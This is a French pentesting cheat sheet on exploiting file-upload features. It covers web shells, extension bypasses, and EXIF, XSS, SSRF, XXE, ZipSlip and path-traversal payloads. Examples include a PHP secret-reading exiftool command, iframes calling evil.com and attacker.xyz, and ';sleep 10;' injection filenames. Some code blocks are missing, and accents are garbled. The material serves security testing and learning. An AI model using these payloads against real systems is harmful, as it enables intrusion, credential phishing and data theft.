Upload features
Outils / Ressources
Liste perso: https://github.com/mathis2001/Files-upload
malicious-pdf
malicious-pdf est un outil permettant de generer plusieurs fichiers PDF contenant un canary de votre choix.
Utilisation:
$ python3 malicious-pdf.py https://your-burp-collab.com
Ressource: https://github.com/jonaslejon/malicious-pdf
JS2PDFInjector
JS2PDFInjector est un outil permettant d'injecter facilement du code javascript dans un fichier PDF.
Utilisation:
$ java -jar JS2PDFInjector.jar <PDF FILE> <JS FILE>
Ressource: https://github.com/cornerpirate/JS2PDFInjector
Web Shell upload
L'exécution de code à distance est l'une des attaques les plus intéressantes qui viennent à l'esprit chaque fois qu'il existe une fonctionnalité de téléchargement de fichiers. Il existe plusieurs façons d'exécuter une exécution de code avec des fichiers malveillants, l'une des plus courantes consiste à télécharger un shell et à obtenir un accÚs supplémentaire.
Simple shell PHP pour RCE:
OOB RCE:
Information disclosure:
Le but est d'essayez de télécharger ce code avec l'extension .php et essayez de localiser et de récupérer le fichier php à partir de l'application. Dans l'url du fichier, vous pouvez ajouter le paramÚtre 'cmd' avec lequel vous pouvez entrer des commandes.
Bien sûr aujourd'hui il existe énormément de façon de se protéger de ce type d'attaque et tout autant de maniÚres de contourner ces protections.
Contourner les vérifications d'extension
Akamai WAF bypass: cmd.jpg.aspx. (Avec un point au bout)
Il est Ă©galement possible de changer le type MIME de l'image directement dans la requĂȘte http avec burp suite.
Contournement via normalisation
?file===shell.php
Directory traversal
Vous pouvez aussi essayer de changer le nom du fichier uploadé pour du directory traversal.
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Disposition: form-data; name="avatar"; filename="../exploit.php"
Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php"
Utiliser .htaccess
le fichier .htaccess permet dans les serveurs HTTP Apache de modifier les paramÚtres de sécurité de ceux-ci. Dans l'exemple ci-dessous, nous allons voir qu'il est parfois possible d'uploader un faux fichier .htaccess contenant des configurations malveillantes dans un contexte de file upload pour permettre d'uploader un fichier .php en utilisant une extension qui ne serait pas blacklisté.
Etapes:
Interception d'une fonction d'upload
Exemple:
Upload du faux fichier .htaccess
Upload du fichier "php" avec l'extension configurée.
Payload dans les données EXIF
On peut utiliser l'outil exiftool pour modifier ces données par exemple.
$ exiftool -Comment="<?php echo file_get_contents('/home/carlos/secret'); ?>" <YOUR-INPUT-IMAGE>.jpg -o secret.php
Site
https://www.metabaseq.com/imagemagick-zero-days/
XSS
Un téléchargement de fichier est une opportunité sérieuse de trouver des XSS vers une application Web.
A tester:
XSS via le nom de fichier
Exemple "><img src=x onerror=alert(document.domain)>.jpg
XSS via les métadonnées
En utilisant exiftool, il est possible de modifier les mĂ©tadonnĂ©es EXIF ââqui peuvent conduire Ă une rĂ©flexion quelque part :
Exemple:
$ exiftool -Author="><img src=x onerror=alert(document.domain)>image.jpg
XSS via le fichier SVG
Si l'application permet le tĂ©lĂ©chargement d'une extension de fichier SVG (qui est Ă©galement un type d'image), un fichier avec le contenu suivant peut ĂȘtre utilisĂ© pour dĂ©clencher un XSS :
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
Blind XSS via SVG
XSS via PDF files upload
SSRF
Server-Side Request Forgery est l'une des vulnérabilités de sécurité les plus intéressantes et les plus percutantes. Une fonctionnalité de téléchargement de fichiers qui peut permettre l'utilisation de fichiers tels que des fichiers HTML ou SVG. Il peut s'agir d'une SSRF interne, d'une SSRF de métadonnées cloud ou simplement d'une SSRF externe.
SSRF via nom de fichier
Essayez d'envoyer l'URL en tant que nom de fichier pour obtenir un blind SSRF, par exemple filename=https://evil.com/internal/file . Vous pouvez Ă©galement essayer de changer type = "fichier" en type = "url" dans une requĂȘte.
SSRF via SVG upload
Essayez de télécharger ce code avec l'extension .svg et récupérez le fichier svg de l'application pour vérifier :
<svg width="200" heightĂš="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><image xlink:href="https://target.com/image.jpg" height="200" width="200" /></svg>
SSRF via iframe en html
Essayez de télécharger ce code avec l'extension .html et récupérez le fichier html de l'application pour vérifer:
<html> <body> <iframe src=âhttp://evil.com" width=â500" height=â500"></iframe> </body> </html>
XXE
Dans fichier SVG
La fonctionnalité de téléchargement de fichiers ouvre la passerelle pour les entités externes XML, en particulier lorsque l'application accepte les formats de fichiers prenant en charge XML. Le format SVG utilisant XML, un attaquant peut soumettre une image SVG illicite et ainsi atteindre une surface d'attaque cachée pour les vulnérabilités XXE.
Essayez de télécharger ce code avec l'extension .svg et récupérez le fichier svg de l'application pour vérifier :
Dans fichiers PPTX, DOCX, XLXS
DĂ©zipper le fichier
Mettre le payload dans
/word/document.xml
,/ppt/presentation.xml
ou/xl/workbook.xml
suivant le type de fichier.Rezipper le fichier (exemple:
$ zip -r document.docx
)
Payload
SVG => HTMLi => ATO
Fichier SVG:
Créer une iframe intégrant https://attacker.xyz/fakelogin.html
PoC page de connexion fakelogin.html:
CSRF
Cross-Site Request Forgery (CSRF) est une attaque qui oblige les utilisateurs authentifiĂ©s Ă soumettre une requĂȘte Ă une application Web contre laquelle ils sont actuellement authentifiĂ©s. Il est possible d'effectuer des attaques CSRF sur les fonctionnalitĂ© de tĂ©lĂ©chargement de fichiers en crĂ©ant un formulaire HTML.
Ă©tapes:
Capturer la demande de formulaire de téléchargement
Créer un POC avec Burp CSRF POC
Ouvrir ce fichier HTML POC dans un compte diffĂ©rent lui mĂȘme dans un navigateur diffĂ©rent
Voir si le téléchargement du fichier réussit dans un autre compte.
Fuite de métadonnées Exif
Cela se produit lorsqu'un utilisateur tĂ©lĂ©charge une image dans le site cible et que les donnĂ©es de mĂ©tadonnĂ©es EXIF ââââde l'image tĂ©lĂ©chargĂ©e ne sont pas supprimĂ©es. En consĂ©quence, n'importe qui peut obtenir des informations sensibles sur les utilisateurs du site comme leur gĂ©olocalisation, les informations sur leur appareil comme le nom de l'appareil, la version, la version du logiciel et du logiciel utilisĂ©, etc.
Ă©tapes:
Uploader une image sur le site cible.
Télécharger l'image uploadé.
Vérifier si les métadonnées sont supprimés ou non avec exiftool ou le site https://aperisolve.fr/.
Open redirect via SVG upload
possibilité de créer une charge utile qui redirige les utilisateurs vers un domaine contrÎlé par l'attaquant.
mĂȘme payload que pour SSRF.
Exploitation avec le nom de fichier
Voici quelques vulnĂ©rabilitĂ©s qui peuvent ĂȘtre exploitĂ©es en changeant le nom du fichier. C'est facile Ă tester et cela vaut la peine de les tester. Vous pouvez changer le nom du fichier en nom suivant pour obtenir les bug respectifs.
Path traversal: ../../../tmp/test.png
Injection SQL: sleep(10) â -.jpg
OS injection: ;sleep 10;.jpg
DoS: renomer le nom du fichier avec un pattern trĂšs long
ZipSlip attack
Une archive peut contenir un lien symbolique. Un lien symbolique est un fichier spécial lié à un autre fichier. En téléchargeant un zip contenant un lien symbolique, et une fois le zip extrait, vous pouvez accéder au lien symbolique pour accéder aux fichiers auxquels vous ne devriez pas avoir accÚs. Pour ce faire, vous devez faire en sorte que votre lien symbolique pointe vers des fichiers en dehors de la racine Web, par exemple /etc/passwd.
Ces types de problÚmes surviennent généralement lorsqu'un développeur autorise l'acceptation d'un fichier zip dans notre fonctionnalité de téléchargement. Lorsqu'un utilisateur télécharge le fichier zip dans l'application, il prend simplement le fichier zip et extrait ses fichiers sans aucune validation.
Ă©tapes:
Créer un lien symbolique vers la ressource souhaité
Exemple: $ ln -s ../../../etc/passwd lien.txt
Créer un zip avec le lien symbolique créé
$ zip --symlinks exploit.zip lien.txt
Uploader le fichier exploit.zip sur le cite cible et l'ouvrir.
File Overwrite
L'Ă©crasement de fichier est une attaque intĂ©ressante lors du tĂ©lĂ©chargement du fichier lorsqu'un utilisateur peut contrĂŽler et dĂ©finir arbitrairement le chemin oĂč le fichier doit ĂȘtre stockĂ©. Cela peut ĂȘtre considĂ©rĂ© comme similaire aux attaques Zip Slip et Path Traversal, mais en supposant qu'il est possible de tĂ©lĂ©charger directement un fichier et de modifier son chemin pour Ă©craser un fichier systĂšme existant, cela reste un problĂšme distinct.
Ă©tapes:
Créez n'importe quel fichier systÚme tel que /etc/passwd.
Accédez à la fonctionnalité de téléchargement de fichier et uploader ce fichier tout en capturant la demande avec Burp Suite.
Modifiez maintenant cette requĂȘte en modifiant le paramĂštre de nom de fichier en ../../../../etc/passwd.
Si le téléchargement réussit, actualisez l'application et observez s'il y a un mauvais comportement ou un plantage pour confirmer la vulnérabilité.
Windows ADS
Un flux de données alternatif (ADS) est une fonctionnalité peu connue du systÚme de fichiers NTFS. Il a la capacité de forker des données dans un fichier existant sans changer sa taille de fichier ou sa fonctionnalité. En d'autres termes, ADS permet de cacher un fichier dans un autre.
Exemple:
Pixel Flood Attack (DoS)
Aller sur https://www.resizepixel.com/ et redimensionnez une image en 64250*64250px.
Accédez à l'application vulnérable ayant la possibilité de télécharger un fichier image.
Téléchargez le fichier généré à partir de "l'étape 1" et observez la réponse du serveur.
Si le serveur met trop de temps à répondre ou si l'application est devenue inaccessible, confirmez avec un autre appareil, si le problÚme de décalage/accessibilité se produit, l'application est vulnérable à l'attaque par inondation de pixels.
Tenter de contourner la validation via une race condition.
DerniĂšre mise Ă jour
Cet article vous a-t-il été utile ?